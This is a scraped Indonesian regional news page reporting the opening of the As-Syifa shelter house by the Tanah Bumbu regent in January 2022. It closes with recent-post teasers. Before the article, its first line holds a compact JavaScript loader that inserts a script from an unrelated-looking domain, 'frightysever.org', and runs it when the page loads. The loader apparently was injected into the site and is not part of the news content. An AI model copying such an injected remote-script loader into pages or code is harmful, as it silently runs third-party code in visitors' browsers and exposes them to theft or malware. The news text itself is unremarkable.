(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Rumah Singgah As-Syifa Dinsos Tanbu Diresmikan Bupati Zairullah


KANALKALIMANTAN.COM, BATULICIN – Bupati Tanah Bumbu (Tanbu) HM Zairullah Azhar meresmikan Rumah Singgah As-Syifa milik Dinas Sosial Tanbu bertempat Kawasan Perkantoran Pemkab Tanbu Gunung Tinggi Batulicin, Rabu (19/1/2022).

Peresmian ditandai dengan pengguntingan pita dan penandatanganan prasasti oleh Bupati didampingi Kepala Dinas Sosial Basuni.

Kepala Dinas Sosial Basuni mengatakan, penyelenggaraan rumah singgah dimaksudkan untuk menyediakan tempat singgah sementara dalam mengatasi masalah sosial di Tanah Bumbu.

Khsususnya bagi pemerlu pelayanan kesejahteraan sosial (PPKS) seperti anak jalanan, gelandangan dan pengemis (gepeng), orang dengan gangguan jiwa (ODGJ), Orang Terlantar (OT), hingga Wanita Tuna Susila.

 

Baca juga : Sekda Kapuas Optimistis Vaksinasi Anak Sesuai Target

“Baik bagi mereka yang terjaring razia ataupun diserahkan langsung keluarganya sendiri sebelum dirujuk menuju pelayanan sosial yang lebih baik, sehingga PPKS dimaksud mampu kembali berfungsi sosial di dalam masyarakat,” katanya.

Seiring berjalanya waktu, Rumah Singgah Dinsos Tanbu belum terlalu optimal dalam pelaksanannya hal itu dikarenakan beberapa faktor kendala yang mengakibatkan hal tersebut terjadi. Di antaranya sarana dan prasarana yang belum memadai serta regulasi terkait rumah singgah tersebut belum dibuat.

Di akhir tahun 2021 Dinsos dalam hal ini Bidang Rehabilitasi Sosial selaku pengelola rumah singgah telah membuat regulasi terkait penyelenggaraan rumah singgah.

Regulasi tersebut tertuang dalam Peraturan Bupati Nomor 60 Tahun 2021 tentang penyelenggaraan rumah singgah yang diundangkan pada 20 Desember 2021.

 

Baca juga : Warga Lampihong Bergejala Pasca Vaksin Kedua, Begini Penjelasan RSUD Balangan

“Harapan kami Dinas Sosial terhadap Rumah Singgah As-Syifa adalah dengan adanya regulasi yang telah dibuat dan juga adaya pemenuhan sarana prasarana secara bertahap maka pelayanan yang diberikan oleh Dinas Sosial terhadap PPKS di Rumah Singgah akan menjadi lebih baik lagi serta lebih optimal dan maksimal,” harap Basuni.

Sementara itu, Kabid Rehabilitasi Sosial Dedi Bodin menambahkan Rumah Singgah As-Syifa terdiri dari 1 Aula, 1 Mushola, 6 Ruang Perlindungan, 1 ruang staf, 2 ruang konsultasi/periksa, dan 1 pantry/dapur umum. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

8 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

10 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

13 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

14 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

15 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

16 jam ago

This website uses cookies.